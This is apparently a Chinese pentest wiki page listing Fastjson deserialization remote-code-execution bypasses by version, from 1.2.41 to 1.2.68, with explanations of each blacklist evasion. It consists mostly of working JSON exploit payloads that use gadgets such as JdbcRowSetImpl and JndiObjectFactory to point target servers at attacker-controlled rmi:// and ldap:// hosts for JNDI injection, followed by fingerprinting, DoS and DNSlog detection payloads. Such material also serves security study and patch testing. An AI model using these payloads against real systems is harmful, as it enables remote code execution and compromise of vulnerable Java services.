1.2.41-68 RCE

1.2.41-rce

fastjson在加载到过程中,会在加载类的时候去掉className前面的L和最后的;,所以就有了如下的poc:

{
    "b":{
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

(autoTypeSupport属性为true才能使用)

1.2.42-rce

由于上一个版本只只过滤了L;,所以又可以通过双写绕过

{
    "b":{
        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

值得一提的是在此版本之后fastjson为了防止安全研究人员分析黑名单中的利用链,把黑名单从原本明文的形式改为了哈希过的黑名单,目的还是为了提高利用的门槛,但是还是有牛人跑出了大部分的包名: https://github.com/LeadroyaL/fastjson-blacklist

1.2.43-rce

上一个版本中双写L和; 被绕过,所有又增加了一个是否以LL未开头判断,绕过的方法是在目标类前面添加[ poc:

{
    "b":{
        "@type":"[com.sun.rowset.JdbcRowSetImpl"[,{
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

1.2.45-rce

这次使用了新的Gadget绕过黑名单,但是需要在目标服务器上存在mybatis包,版本大于3.0.1且小于3.4.6 poc:

{
    "b":{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
    "data_source":"rmi://xx.x.xx.xx:9999/poc"
    }
}

1.2.47-rce

  • 1.2.33 ≤ Fastjson版本 ≤ 1.2.47,是否开启setAutoTypeSupport都能成功

  • 1.2.25 ≤ Fastjson版本 ≤ 1.2.32,关闭setAutoTypeSupport能成功

  • fastjson cache为true

因为来fastjson中有一个全局缓存,在类加载的时候,

  1. 如果autoType没开启,会先尝试从mapping缓存中获取目标类,如果缓存中有,则直接返回进入之后的反序列化流程。

  2. 如果autoType开启,因为typeName为java.lang.Class不在黑名单,成功绕过检测被解析为Class类型。

java.lang.Class在缓存中肯定有,该类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类Class到全局缓存中。

poc:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://xx.x.xx.xx:9999/poc", 
        "autoCommit": true
    }
}

1.2.62-rce

这次又有人找到了新的Gedget绕过了黑名单。 utxName可控,造成JNDI注入

poc:

{
	"b": {
		 "@type":"org.apache.xbean.propertyeditor.JndiConverter",
		 "AsText":"rmi://xx.x.xx.xx:9999/poc"
	}
}

1.2.66-rce

又又又找到了新的Gadget绕过黑名单 poc:

{
	"b": {
   		"@type":"org.apache.shiro.jndi.JndiObjectFactory",
    	"resourceName":"ldap://192.168.80.1:1389/Calc"
	}
}
{
	"b": {
    	"@type":"br.com.anteros.dbcp.AnterosDBCPConfig",
    	"metricRegistry":"ldap://192.168.80.1:1389/Calc"
	}
}
{
	"b": {
   		"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
    	"resourceName":"ldap://192.168.80.1:1389/Calc"
	}
}
{
	"b": {
    	"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    	"properties":{
        	"@type":"java.util.Properties",
        	"UserTransaction":"ldap://192.168.80.1:1399/Calc"
    			}
	}
}

1.2.68

在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。

只要设置@type类型,想反序列化指定类对象的时候,就会抛异常。

(待补充)

判断是否使用fastjson

不闭合花括号判断

一般利用报错判断,例如可以不闭合花括号的方式来进行报错回显,在报错中往往fastjson的字段

区别fastjson和jackson

由于Jackson相对比较严格,它会相纸key与javabean属性对其,只能少不能多key,所以提交{"name":"S", "age":21,"agsbdkjada__ss_d":123}时,jackson会报错,而Fastjson不会报错。

DOS漏洞

当字符串中包含\x转移字符时可能会引发OOM(Out Of Memory内存溢出)的问题

使用Dnslog判断

方法一:利用java.net.Inet[4|6]Address地址 {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}

方法二:利用java.net.InetSocketAddress {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} 方法三:利用java.net.URL

{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

Last updated

Was this helpful?